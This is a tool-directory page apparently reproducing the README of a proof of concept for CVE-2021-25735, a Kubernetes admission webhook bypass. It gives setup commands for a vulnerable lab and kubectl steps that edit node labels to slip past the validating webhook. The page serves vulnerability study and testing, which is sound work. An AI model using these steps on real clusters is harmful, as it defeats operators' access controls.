Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-25735 — Exploit for CVE-2021-25735 demonstrating Kubernetes Validating Admission Webhook bypass via node label manipulation, with deployable Docker container and webhook registration scripts. | Kitploit
Tools/GitHubGitHub/darryk10/cve-2021-25735
Container SecurityVulnerability AnalysisExploitationWeb SecurityPenetration TestingCloud Security
GitHubdarryk10/cve-2021-25735

CVE-2021-25735

Exploit for CVE-2021-25735 demonstrating Kubernetes Validating Admission Webhook bypass via node label manipulation, with deployable Docker container and webhook registration scripts.

View Repository
175195 years agoNot yet reviewed
Share

CVE-2021-25735

Exploit CVE-2021-25735: Kubernetes Validating Admission Webhook Bypass

Set the Vulnerable Environment

Let's start with running the script gencerts.sh to generate TLS certificates and keys.
bash gencerts.sh

To deploy the admission controller you need to build the Docker container image locally, tag, and push the image to your Dockerhub using the below commands.
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0

Now you can deploy the created image with the Node.js application into your K8s cluster. The webhook-deploy.yaml will deploy all the needed components in your cluster.
kubectl apply -f webhook-deploy.yaml

Let's now register our webhook with Kubernetes API Server. To do that, we create a Base64 of the ca.crt file created before and replace the CA_BUNDLE inside webhook-registration.yaml.
cat ca.crt | base64

Finally, we will register the webhook with the Kubernetes API Server.
kubectl apply -f webhook-registration.yaml

Exploit CVE-2021-25735

We do a change in the node label using edit nodes and we add a new label.
kubectl edit nodes ip-172-20-61-82.ec2.internal

  labels:  
    test: test  
    changeAllowed: "false"

Since the ChangeAllowed is set to "false" we get the following error:

error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run kubectl replace -f /tmp/kubectl-edit-irc64.yaml to try this update again.

If we retry to modify the node performing the following change:\

  labels:  
    test: test  
    changeAllowed: "true"

In this case the edit action has been accepted bypassing the admission controller.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    790
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    508
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    435
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    263
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    260

Explore all tools

Browse our collection of tools

View all tools →